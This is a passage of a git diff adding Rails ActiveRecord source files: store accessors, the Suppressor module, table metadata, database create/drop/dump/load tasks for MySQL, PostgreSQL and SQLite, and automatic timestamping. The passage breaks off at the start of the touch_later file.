+      def read_store_attribute(store_attribute, key) # :doc:
+        accessor = store_accessor_for(store_attribute)
+        accessor.read(self, store_attribute, key)
+      end
+
+      def write_store_attribute(store_attribute, key, value) # :doc:
+        accessor = store_accessor_for(store_attribute)
+        accessor.write(self, store_attribute, key, value)
+      end
+
+      def store_accessor_for(store_attribute)
+        type_for_attribute(store_attribute.to_s).accessor
+      end
+
+      class HashAccessor # :nodoc:
+        def self.read(object, attribute, key)
+          prepare(object, attribute)
+          object.public_send(attribute)[key]
+        end
+
+        def self.write(object, attribute, key, value)
+          prepare(object, attribute)
+          if value != read(object, attribute, key)
+            object.public_send :"#{attribute}_will_change!"
+            object.public_send(attribute)[key] = value
+          end
+        end
+
+        def self.prepare(object, attribute)
+          object.public_send :"#{attribute}=", {} unless object.send(attribute)
+        end
+      end
+
+      class StringKeyedHashAccessor < HashAccessor # :nodoc:
+        def self.read(object, attribute, key)
+          super object, attribute, key.to_s
+        end
+
+        def self.write(object, attribute, key, value)
+          super object, attribute, key.to_s, value
+        end
+      end
+
+      class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor # :nodoc:
+        def self.prepare(object, store_attribute)
+          attribute = object.send(store_attribute)
+          unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+            attribute = IndifferentCoder.as_indifferent_hash(attribute)
+            object.send :"#{store_attribute}=", attribute
+          end
+          attribute
+        end
+      end
+
+      class IndifferentCoder # :nodoc:
+        def initialize(attr_name, coder_or_class_name)
+          @coder =
+            if coder_or_class_name.respond_to?(:load) && coder_or_class_name.respond_to?(:dump)
+              coder_or_class_name
+            else
+              ActiveRecord::Coders::YAMLColumn.new(attr_name, coder_or_class_name || Object)
+            end
+        end
+
+        def dump(obj)
+          @coder.dump self.class.as_indifferent_hash(obj)
+        end
+
+        def load(yaml)
+          self.class.as_indifferent_hash(@coder.load(yaml || ""))
+        end
+
+        def self.as_indifferent_hash(obj)
+          case obj
+          when ActiveSupport::HashWithIndifferentAccess
+            obj
+          when Hash
+            obj.with_indifferent_access
+          else
+            ActiveSupport::HashWithIndifferentAccess.new
+          end
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/suppressor.rb b/activerecord/lib/active_record/suppressor.rb
new file mode 100644
index 0000000000..8cdb8e0765
--- /dev/null
+++ b/activerecord/lib/active_record/suppressor.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # ActiveRecord::Suppressor prevents the receiver from being saved during
+  # a given block.
+  #
+  # For example, here's a pattern of creating notifications when new comments
+  # are posted. (The notification may in turn trigger an email, a push
+  # notification, or just appear in the UI somewhere):
+  #
+  #   class Comment < ActiveRecord::Base
+  #     belongs_to :commentable, polymorphic: true
+  #     after_create -> { Notification.create! comment: self,
+  #       recipients: commentable.recipients }
+  #   end
+  #
+  # That's what you want the bulk of the time. New comment creates a new
+  # Notification. But there may well be off cases, like copying a commentable
+  # and its comments, where you don't want that. So you'd have a concern
+  # something like this:
+  #
+  #   module Copyable
+  #     def copy_to(destination)
+  #       Notification.suppress do
+  #         # Copy logic that creates new comments that we do not want
+  #         # triggering notifications.
+  #       end
+  #     end
+  #   end
+  module Suppressor
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def suppress(&block)
+        previous_state = SuppressorRegistry.suppressed[name]
+        SuppressorRegistry.suppressed[name] = true
+        yield
+      ensure
+        SuppressorRegistry.suppressed[name] = previous_state
+      end
+    end
+
+    def save(*) # :nodoc:
+      SuppressorRegistry.suppressed[self.class.name] ? true : super
+    end
+
+    def save!(*) # :nodoc:
+      SuppressorRegistry.suppressed[self.class.name] ? true : super
+    end
+  end
+
+  class SuppressorRegistry # :nodoc:
+    extend ActiveSupport::PerThreadRegistry
+
+    attr_reader :suppressed
+
+    def initialize
+      @suppressed = {}
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/table_metadata.rb b/activerecord/lib/active_record/table_metadata.rb
new file mode 100644
index 0000000000..71351449e1
--- /dev/null
+++ b/activerecord/lib/active_record/table_metadata.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  class TableMetadata # :nodoc:
+    delegate :foreign_type, :foreign_key, to: :association, prefix: true
+    delegate :association_primary_key, to: :association
+
+    def initialize(klass, arel_table, association = nil)
+      @klass = klass
+      @arel_table = arel_table
+      @association = association
+    end
+
+    def resolve_column_aliases(hash)
+      new_hash = hash.dup
+      hash.each do |key, _|
+        if (key.is_a?(Symbol)) && klass.attribute_alias?(key)
+          new_hash[klass.attribute_alias(key)] = new_hash.delete(key)
+        end
+      end
+      new_hash
+    end
+
+    def arel_attribute(column_name)
+      if klass
+        klass.arel_attribute(column_name, arel_table)
+      else
+        arel_table[column_name]
+      end
+    end
+
+    def type(column_name)
+      if klass
+        klass.type_for_attribute(column_name.to_s)
+      else
+        Type.default_value
+      end
+    end
+
+    def has_column?(column_name)
+      klass && klass.columns_hash.key?(column_name.to_s)
+    end
+
+    def associated_with?(association_name)
+      klass && klass._reflect_on_association(association_name)
+    end
+
+    def associated_table(table_name)
+      association = klass._reflect_on_association(table_name) || klass._reflect_on_association(table_name.to_s.singularize)
+
+      if !association && table_name == arel_table.name
+        return self
+      elsif association && !association.polymorphic?
+        association_klass = association.klass
+        arel_table = association_klass.arel_table.alias(table_name)
+      else
+        type_caster = TypeCaster::Connection.new(klass, table_name)
+        association_klass = nil
+        arel_table = Arel::Table.new(table_name, type_caster: type_caster)
+      end
+
+      TableMetadata.new(association_klass, arel_table, association)
+    end
+
+    def polymorphic_association?
+      association && association.polymorphic?
+    end
+
+    # TODO Change this to private once we've dropped Ruby 2.2 support.
+    # Workaround for Ruby 2.2 "private attribute?" warning.
+    protected
+
+      attr_reader :klass, :arel_table, :association
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
new file mode 100644
index 0000000000..0f3f84ca08
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -0,0 +1,327 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class DatabaseAlreadyExists < StandardError; end # :nodoc:
+    class DatabaseNotSupported < StandardError; end # :nodoc:
+
+    # ActiveRecord::Tasks::DatabaseTasks is a utility class, which encapsulates
+    # logic behind common tasks used to manage database and migrations.
+    #
+    # The tasks defined here are used with Rake tasks provided by Active Record.
+    #
+    # In order to use DatabaseTasks, a few config values need to be set. All the needed
+    # config values are set by Rails already, so it's necessary to do it only if you
+    # want to change the defaults or when you want to use Active Record outside of Rails
+    # (in such case after configuring the database tasks, you can also use the rake tasks
+    # defined in Active Record).
+    #
+    # The possible config values are:
+    #
+    # * +env+: current environment (like Rails.env).
+    # * +database_configuration+: configuration of your databases (as in +config/database.yml+).
+    # * +db_dir+: your +db+ directory.
+    # * +fixtures_path+: a path to fixtures directory.
+    # * +migrations_paths+: a list of paths to directories with migrations.
+    # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
+    # * +root+: a path to the root of the application.
+    #
+    # Example usage of DatabaseTasks outside Rails could look as such:
+    #
+    #   include ActiveRecord::Tasks
+    #   DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
+    #   DatabaseTasks.db_dir = 'db'
+    #   # other settings...
+    #
+    #   DatabaseTasks.create_current('production')
+    module DatabaseTasks
+      ##
+      # :singleton-method:
+      # Extra flags passed to database CLI tool (mysqldump/pg_dump) when calling db:structure:dump
+      mattr_accessor :structure_dump_flags, instance_accessor: false
+
+      ##
+      # :singleton-method:
+      # Extra flags passed to database CLI tool when calling db:structure:load
+      mattr_accessor :structure_load_flags, instance_accessor: false
+
+      extend self
+
+      attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+      attr_accessor :database_configuration
+
+      LOCAL_HOSTS = ["127.0.0.1", "localhost"]
+
+      def check_protected_environments!
+        unless ENV["DISABLE_DATABASE_ENVIRONMENT_CHECK"]
+          current = ActiveRecord::Migrator.current_environment
+          stored  = ActiveRecord::Migrator.last_stored_environment
+
+          if ActiveRecord::Migrator.protected_environment?
+            raise ActiveRecord::ProtectedEnvironmentError.new(stored)
+          end
+
+          if stored && stored != current
+            raise ActiveRecord::EnvironmentMismatchError.new(current: current, stored: stored)
+          end
+        end
+      rescue ActiveRecord::NoDatabaseError
+      end
+
+      def register_task(pattern, task)
+        @tasks ||= {}
+        @tasks[pattern] = task
+      end
+
+      register_task(/mysql/,        "ActiveRecord::Tasks::MySQLDatabaseTasks")
+      register_task(/postgresql/,   "ActiveRecord::Tasks::PostgreSQLDatabaseTasks")
+      register_task(/sqlite/,       "ActiveRecord::Tasks::SQLiteDatabaseTasks")
+
+      def db_dir
+        @db_dir ||= Rails.application.config.paths["db"].first
+      end
+
+      def migrations_paths
+        @migrations_paths ||= Rails.application.paths["db/migrate"].to_a
+      end
+
+      def fixtures_path
+        @fixtures_path ||= if ENV["FIXTURES_PATH"]
+          File.join(root, ENV["FIXTURES_PATH"])
+        else
+          File.join(root, "test", "fixtures")
+        end
+      end
+
+      def root
+        @root ||= Rails.root
+      end
+
+      def env
+        @env ||= Rails.env
+      end
+
+      def seed_loader
+        @seed_loader ||= Rails.application
+      end
+
+      def current_config(options = {})
+        options.reverse_merge! env: env
+        if options.has_key?(:config)
+          @current_config = options[:config]
+        else
+          @current_config ||= ActiveRecord::Base.configurations[options[:env]]
+        end
+      end
+
+      def create(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration["adapter"]).new(*arguments).create
+        $stdout.puts "Created database '#{configuration['database']}'"
+      rescue DatabaseAlreadyExists
+        $stderr.puts "Database '#{configuration['database']}' already exists"
+      rescue Exception => error
+        $stderr.puts error
+        $stderr.puts "Couldn't create database for #{configuration.inspect}"
+        raise
+      end
+
+      def create_all
+        old_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(ActiveRecord::Base.connection_specification_name)
+        each_local_configuration { |configuration| create configuration }
+        if old_pool
+          ActiveRecord::Base.connection_handler.establish_connection(old_pool.spec.to_hash)
+        end
+      end
+
+      def create_current(environment = env)
+        each_current_configuration(environment) { |configuration|
+          create configuration
+        }
+        ActiveRecord::Base.establish_connection(environment.to_sym)
+      end
+
+      def drop(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration["adapter"]).new(*arguments).drop
+        $stdout.puts "Dropped database '#{configuration['database']}'"
+      rescue ActiveRecord::NoDatabaseError
+        $stderr.puts "Database '#{configuration['database']}' does not exist"
+      rescue Exception => error
+        $stderr.puts error
+        $stderr.puts "Couldn't drop database '#{configuration['database']}'"
+        raise
+      end
+
+      def drop_all
+        each_local_configuration { |configuration| drop configuration }
+      end
+
+      def drop_current(environment = env)
+        each_current_configuration(environment) { |configuration|
+          drop configuration
+        }
+      end
+
+      def migrate
+        raise "Empty VERSION provided" if ENV["VERSION"] && ENV["VERSION"].empty?
+
+        verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] != "false" : true
+        version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+        scope = ENV["SCOPE"]
+        verbose_was, Migration.verbose = Migration.verbose, verbose
+        Migrator.migrate(migrations_paths, version) do |migration|
+          scope.blank? || scope == migration.scope
+        end
+        ActiveRecord::Base.clear_cache!
+      ensure
+        Migration.verbose = verbose_was
+      end
+
+      def charset_current(environment = env)
+        charset ActiveRecord::Base.configurations[environment]
+      end
+
+      def charset(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration["adapter"]).new(*arguments).charset
+      end
+
+      def collation_current(environment = env)
+        collation ActiveRecord::Base.configurations[environment]
+      end
+
+      def collation(*arguments)
+        configuration = arguments.first
+        class_for_adapter(configuration["adapter"]).new(*arguments).collation
+      end
+
+      def purge(configuration)
+        class_for_adapter(configuration["adapter"]).new(configuration).purge
+      end
+
+      def purge_all
+        each_local_configuration { |configuration|
+          purge configuration
+        }
+      end
+
+      def purge_current(environment = env)
+        each_current_configuration(environment) { |configuration|
+          purge configuration
+        }
+        ActiveRecord::Base.establish_connection(environment.to_sym)
+      end
+
+      def structure_dump(*arguments)
+        configuration = arguments.first
+        filename = arguments.delete_at 1
+        class_for_adapter(configuration["adapter"]).new(*arguments).structure_dump(filename, structure_dump_flags)
+      end
+
+      def structure_load(*arguments)
+        configuration = arguments.first
+        filename = arguments.delete_at 1
+        class_for_adapter(configuration["adapter"]).new(*arguments).structure_load(filename, structure_load_flags)
+      end
+
+      def load_schema(configuration, format = ActiveRecord::Base.schema_format, file = nil) # :nodoc:
+        file ||= schema_file(format)
+
+        case format
+        when :ruby
+          check_schema_file(file)
+          ActiveRecord::Base.establish_connection(configuration)
+          load(file)
+        when :sql
+          check_schema_file(file)
+          structure_load(configuration, file)
+        else
+          raise ArgumentError, "unknown format #{format.inspect}"
+        end
+        ActiveRecord::InternalMetadata.create_table
+        ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+      end
+
+      def schema_file(format = ActiveRecord::Base.schema_format)
+        case format
+        when :ruby
+          File.join(db_dir, "schema.rb")
+        when :sql
+          File.join(db_dir, "structure.sql")
+        end
+      end
+
+      def load_schema_current(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
+        each_current_configuration(environment) { |configuration|
+          load_schema configuration, format, file
+        }
+        ActiveRecord::Base.establish_connection(environment.to_sym)
+      end
+
+      def check_schema_file(filename)
+        unless File.exist?(filename)
+          message = %{#{filename} doesn't exist yet. Run `rails db:migrate` to create it, then try again.}.dup
+          message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails.root)
+          Kernel.abort message
+        end
+      end
+
+      def load_seed
+        if seed_loader
+          seed_loader.load_seed
+        else
+          raise "You tried to load seed data, but no seed loader is specified. Please specify seed " \
+                "loader with ActiveRecord::Tasks::DatabaseTasks.seed_loader = your_seed_loader\n" \
+                "Seed loader should respond to load_seed method"
+        end
+      end
+
+      # Dumps the schema cache in YAML format for the connection into the file
+      #
+      # ==== Examples:
+      #   ActiveRecord::Tasks::DatabaseTasks.dump_schema_cache(ActiveRecord::Base.connection, "tmp/schema_dump.yaml")
+      def dump_schema_cache(conn, filename)
+        conn.schema_cache.clear!
+        conn.data_sources.each { |table| conn.schema_cache.add(table) }
+        open(filename, "wb") { |f| f.write(YAML.dump(conn.schema_cache)) }
+      end
+
+      private
+
+        def class_for_adapter(adapter)
+          _key, task = @tasks.each_pair.detect { |pattern, _task| adapter[pattern] }
+          unless task
+            raise DatabaseNotSupported, "Rake tasks not supported by '#{adapter}' adapter"
+          end
+          task.is_a?(String) ? task.constantize : task
+        end
+
+        def each_current_configuration(environment)
+          environments = [environment]
+          environments << "test" if environment == "development"
+
+          configurations = ActiveRecord::Base.configurations.values_at(*environments)
+          configurations.compact.each do |configuration|
+            yield configuration unless configuration["database"].blank?
+          end
+        end
+
+        def each_local_configuration
+          ActiveRecord::Base.configurations.each_value do |configuration|
+            next unless configuration["database"]
+
+            if local_database?(configuration)
+              yield configuration
+            else
+              $stderr.puts "This task only modifies local databases. #{configuration['database']} is on a remote host."
+            end
+          end
+        end
+
+        def local_database?(configuration)
+          configuration["host"].blank? || LOCAL_HOSTS.include?(configuration["host"])
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
new file mode 100644
index 0000000000..84265aa9e3
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -0,0 +1,162 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class MySQLDatabaseTasks # :nodoc:
+      ACCESS_DENIED_ERROR = 1045
+
+      delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+      def initialize(configuration)
+        @configuration = configuration
+      end
+
+      def create
+        establish_connection configuration_without_database
+        connection.create_database configuration["database"], creation_options
+        establish_connection configuration
+      rescue ActiveRecord::StatementInvalid => error
+        if error.message.include?("database exists")
+          raise DatabaseAlreadyExists
+        else
+          raise
+        end
+      rescue error_class => error
+        if error.respond_to?(:errno) && error.errno == ACCESS_DENIED_ERROR
+          $stdout.print error.message
+          establish_connection root_configuration_without_database
+          connection.create_database configuration["database"], creation_options
+          if configuration["username"] != "root"
+            connection.execute grant_statement.gsub(/\s+/, " ").strip
+          end
+          establish_connection configuration
+        else
+          $stderr.puts error.inspect
+          $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
+          $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration["encoding"]
+        end
+      end
+
+      def drop
+        establish_connection configuration
+        connection.drop_database configuration["database"]
+      end
+
+      def purge
+        establish_connection configuration
+        connection.recreate_database configuration["database"], creation_options
+      end
+
+      def charset
+        connection.charset
+      end
+
+      def collation
+        connection.collation
+      end
+
+      def structure_dump(filename, extra_flags)
+        args = prepare_command_options
+        args.concat(["--result-file", "#{filename}"])
+        args.concat(["--no-data"])
+        args.concat(["--routines"])
+        args.concat(["--skip-comments"])
+
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          args += ignore_tables.map { |table| "--ignore-table=#{configuration['database']}.#{table}" }
+        end
+
+        args.concat(["#{configuration['database']}"])
+        args.unshift(*extra_flags) if extra_flags
+
+        run_cmd("mysqldump", args, "dumping")
+      end
+
+      def structure_load(filename, extra_flags)
+        args = prepare_command_options
+        args.concat(["--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}])
+        args.concat(["--database", "#{configuration['database']}"])
+        args.unshift(*extra_flags) if extra_flags
+
+        run_cmd("mysql", args, "loading")
+      end
+
+      private
+
+        def configuration
+          @configuration
+        end
+
+        def configuration_without_database
+          configuration.merge("database" => nil)
+        end
+
+        def creation_options
+          Hash.new.tap do |options|
+            options[:charset]     = configuration["encoding"]   if configuration.include? "encoding"
+            options[:collation]   = configuration["collation"]  if configuration.include? "collation"
+          end
+        end
+
+        def error_class
+          if configuration["adapter"].include?("jdbc")
+            require_relative "../railties/jdbcmysql_error"
+            ArJdbcMySQL::Error
+          elsif defined?(Mysql2)
+            Mysql2::Error
+          else
+            StandardError
+          end
+        end
+
+        def grant_statement
+          <<-SQL
+GRANT ALL PRIVILEGES ON `#{configuration['database']}`.*
+  TO '#{configuration['username']}'@'localhost'
+IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
+          SQL
+        end
+
+        def root_configuration_without_database
+          configuration_without_database.merge(
+            "username" => "root",
+            "password" => root_password
+          )
+        end
+
+        def root_password
+          $stdout.print "Please provide the root password for your MySQL installation\n>"
+          $stdin.gets.strip
+        end
+
+        def prepare_command_options
+          args = {
+            "host"      => "--host",
+            "port"      => "--port",
+            "socket"    => "--socket",
+            "username"  => "--user",
+            "password"  => "--password",
+            "encoding"  => "--default-character-set",
+            "sslca"     => "--ssl-ca",
+            "sslcert"   => "--ssl-cert",
+            "sslcapath" => "--ssl-capath",
+            "sslcipher" => "--ssl-cipher",
+            "sslkey"    => "--ssl-key"
+          }.map { |opt, arg| "#{arg}=#{configuration[opt]}" if configuration[opt] }.compact
+
+          args
+        end
+
+        def run_cmd(cmd, args, action)
+          fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args)
+        end
+
+        def run_cmd_error(cmd, args, action)
+          msg = "failed to execute: `#{cmd}`\n".dup
+          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
+          msg
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
new file mode 100644
index 0000000000..a2e74efc2b
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -0,0 +1,143 @@
+# frozen_string_literal: true
+
+require "tempfile"
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class PostgreSQLDatabaseTasks # :nodoc:
+      DEFAULT_ENCODING = ENV["CHARSET"] || "utf8"
+      ON_ERROR_STOP_1 = "ON_ERROR_STOP=1".freeze
+      SQL_COMMENT_BEGIN = "--".freeze
+
+      delegate :connection, :establish_connection, :clear_active_connections!,
+        to: ActiveRecord::Base
+
+      def initialize(configuration)
+        @configuration = configuration
+      end
+
+      def create(master_established = false)
+        establish_master_connection unless master_established
+        connection.create_database configuration["database"],
+          configuration.merge("encoding" => encoding)
+        establish_connection configuration
+      rescue ActiveRecord::StatementInvalid => error
+        if /database .* already exists/.match?(error.message)
+          raise DatabaseAlreadyExists
+        else
+          raise
+        end
+      end
+
+      def drop
+        establish_master_connection
+        connection.drop_database configuration["database"]
+      end
+
+      def charset
+        connection.encoding
+      end
+
+      def collation
+        connection.collation
+      end
+
+      def purge
+        clear_active_connections!
+        drop
+        create true
+      end
+
+      def structure_dump(filename, extra_flags)
+        set_psql_env
+
+        search_path = \
+          case ActiveRecord::Base.dump_schemas
+          when :schema_search_path
+            configuration["schema_search_path"]
+          when :all
+            nil
+          when String
+            ActiveRecord::Base.dump_schemas
+          end
+
+        args = ["-s", "-x", "-O", "-f", filename]
+        args.concat(Array(extra_flags)) if extra_flags
+        unless search_path.blank?
+          args += search_path.split(",").map do |part|
+            "--schema=#{part.strip}"
+          end
+        end
+
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          args += ignore_tables.flat_map { |table| ["-T", table] }
+        end
+
+        args << configuration["database"]
+        run_cmd("pg_dump", args, "dumping")
+        remove_sql_header_comments(filename)
+        File.open(filename, "a") { |f| f << "SET search_path TO #{connection.schema_search_path};\n\n" }
+      end
+
+      def structure_load(filename, extra_flags)
+        set_psql_env
+        args = ["-v", ON_ERROR_STOP_1, "-q", "-f", filename]
+        args.concat(Array(extra_flags)) if extra_flags
+        args << configuration["database"]
+        run_cmd("psql", args, "loading")
+      end
+
+      private
+
+        def configuration
+          @configuration
+        end
+
+        def encoding
+          configuration["encoding"] || DEFAULT_ENCODING
+        end
+
+        def establish_master_connection
+          establish_connection configuration.merge(
+            "database"           => "postgres",
+            "schema_search_path" => "public"
+          )
+        end
+
+        def set_psql_env
+          ENV["PGHOST"]     = configuration["host"]          if configuration["host"]
+          ENV["PGPORT"]     = configuration["port"].to_s     if configuration["port"]
+          ENV["PGPASSWORD"] = configuration["password"].to_s if configuration["password"]
+          ENV["PGUSER"]     = configuration["username"].to_s if configuration["username"]
+        end
+
+        def run_cmd(cmd, args, action)
+          fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args)
+        end
+
+        def run_cmd_error(cmd, args, action)
+          msg = "failed to execute:\n"
+          msg << "#{cmd} #{args.join(' ')}\n\n"
+          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
+          msg
+        end
+
+        def remove_sql_header_comments(filename)
+          removing_comments = true
+          tempfile = Tempfile.open("uncommented_structure.sql")
+          begin
+            File.foreach(filename) do |line|
+              unless removing_comments && (line.start_with?(SQL_COMMENT_BEGIN) || line.blank?)
+                tempfile << line
+                removing_comments = false
+              end
+            end
+          ensure
+            tempfile.close
+          end
+          FileUtils.mv(tempfile.path, filename)
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
new file mode 100644
index 0000000000..abdd6db64a
--- /dev/null
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Tasks # :nodoc:
+    class SQLiteDatabaseTasks # :nodoc:
+      delegate :connection, :establish_connection, to: ActiveRecord::Base
+
+      def initialize(configuration, root = ActiveRecord::Tasks::DatabaseTasks.root)
+        @configuration, @root = configuration, root
+      end
+
+      def create
+        raise DatabaseAlreadyExists if File.exist?(configuration["database"])
+
+        establish_connection configuration
+        connection
+      end
+
+      def drop
+        require "pathname"
+        path = Pathname.new configuration["database"]
+        file = path.absolute? ? path.to_s : File.join(root, path)
+
+        FileUtils.rm(file)
+      rescue Errno::ENOENT => error
+        raise NoDatabaseError.new(error.message)
+      end
+
+      def purge
+        drop
+      rescue NoDatabaseError
+      ensure
+        create
+      end
+
+      def charset
+        connection.encoding
+      end
+
+      def structure_dump(filename, extra_flags)
+        args = []
+        args.concat(Array(extra_flags)) if extra_flags
+        args << configuration["database"]
+
+        ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
+        if ignore_tables.any?
+          condition = ignore_tables.map { |table| connection.quote(table) }.join(", ")
+          args << "SELECT sql FROM sqlite_master WHERE tbl_name NOT IN (#{condition}) ORDER BY tbl_name, type DESC, name"
+        else
+          args << ".schema"
+        end
+        run_cmd("sqlite3", args, filename)
+      end
+
+      def structure_load(filename, extra_flags)
+        dbfile = configuration["database"]
+        flags = extra_flags.join(" ") if extra_flags
+        `sqlite3 #{flags} #{dbfile} < "#{filename}"`
+      end
+
+      private
+
+        def configuration
+          @configuration
+        end
+
+        def root
+          @root
+        end
+
+        def run_cmd(cmd, args, out)
+          fail run_cmd_error(cmd, args) unless Kernel.system(cmd, *args, out: out)
+        end
+
+        def run_cmd_error(cmd, args)
+          msg = "failed to execute:\n"
+          msg << "#{cmd} #{args.join(' ')}\n\n"
+          msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n"
+          msg
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
new file mode 100644
index 0000000000..5da3759e5a
--- /dev/null
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record \Timestamp
+  #
+  # Active Record automatically timestamps create and update operations if the
+  # table has fields named <tt>created_at/created_on</tt> or
+  # <tt>updated_at/updated_on</tt>.
+  #
+  # Timestamping can be turned off by setting:
+  #
+  #   config.active_record.record_timestamps = false
+  #
+  # Timestamps are in UTC by default but you can use the local timezone by setting:
+  #
+  #   config.active_record.default_timezone = :local
+  #
+  # == Time Zone aware attributes
+  #
+  # Active Record keeps all the <tt>datetime</tt> and <tt>time</tt> columns
+  # timezone aware. By default, these values are stored in the database as UTC
+  # and converted back to the current <tt>Time.zone</tt> when pulled from the database.
+  #
+  # This feature can be turned off completely by setting:
+  #
+  #   config.active_record.time_zone_aware_attributes = false
+  #
+  # You can also specify that only <tt>datetime</tt> columns should be time-zone
+  # aware (while <tt>time</tt> should not) by setting:
+  #
+  #   ActiveRecord::Base.time_zone_aware_types = [:datetime]
+  #
+  # You can also add database specific timezone aware types. For example, for PostgreSQL:
+  #
+  #   ActiveRecord::Base.time_zone_aware_types += [:tsrange, :tstzrange]
+  #
+  # Finally, you can indicate specific attributes of a model for which time zone
+  # conversion should not applied, for instance by setting:
+  #
+  #   class Topic < ActiveRecord::Base
+  #     self.skip_time_zone_conversion_for_attributes = [:written_on]
+  #   end
+  module Timestamp
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :record_timestamps, default: true
+    end
+
+    def initialize_dup(other) # :nodoc:
+      super
+      clear_timestamp_attributes
+    end
+
+    class_methods do
+      private
+        def timestamp_attributes_for_create_in_model
+          timestamp_attributes_for_create.select { |c| column_names.include?(c) }
+        end
+
+        def timestamp_attributes_for_update_in_model
+          timestamp_attributes_for_update.select { |c| column_names.include?(c) }
+        end
+
+        def all_timestamp_attributes_in_model
+          timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model
+        end
+
+        def timestamp_attributes_for_create
+          ["created_at", "created_on"]
+        end
+
+        def timestamp_attributes_for_update
+          ["updated_at", "updated_on"]
+        end
+
+        def current_time_from_proper_timezone
+          default_timezone == :utc ? Time.now.utc : Time.now
+        end
+    end
+
+  private
+
+    def _create_record
+      if record_timestamps
+        current_time = current_time_from_proper_timezone
+
+        all_timestamp_attributes_in_model.each do |column|
+          if !attribute_present?(column)
+            _write_attribute(column, current_time)
+          end
+        end
+      end
+
+      super
+    end
+
+    def _update_record(*args, touch: true, **options)
+      if touch && should_record_timestamps?
+        current_time = current_time_from_proper_timezone
+
+        timestamp_attributes_for_update_in_model.each do |column|
+          next if will_save_change_to_attribute?(column)
+          _write_attribute(column, current_time)
+        end
+      end
+      super(*args)
+    end
+
+    def should_record_timestamps?
+      record_timestamps && (!partial_writes? || has_changes_to_save?)
+    end
+
+    def timestamp_attributes_for_create_in_model
+      self.class.send(:timestamp_attributes_for_create_in_model)
+    end
+
+    def timestamp_attributes_for_update_in_model
+      self.class.send(:timestamp_attributes_for_update_in_model)
+    end
+
+    def all_timestamp_attributes_in_model
+      self.class.send(:all_timestamp_attributes_in_model)
+    end
+
+    def current_time_from_proper_timezone
+      self.class.send(:current_time_from_proper_timezone)
+    end
+
+    def max_updated_column_timestamp(timestamp_names = timestamp_attributes_for_update_in_model)
+      timestamp_names
+        .map { |attr| self[attr] }
+        .compact
+        .map(&:to_time)
+        .max
+    end
+
+    # Clear attributes and changed_attributes
+    def clear_timestamp_attributes
+      all_timestamp_attributes_in_model.each do |attribute_name|
+        self[attribute_name] = nil
+        clear_attribute_changes([attribute_name])
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/touch_later.rb b/activerecord/lib/active_record/touch_later.rb
new file mode 100644
index 0000000000..f70b7c50a2
--- /dev/null
+++ b/activerecord/lib/active_record/touch_later.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Touch Later
+  module TouchLater
+    extend ActiveSupport::Concern
+
+    included do
+      before_commit_without_transaction_enrollment :touch_deferred_attributes
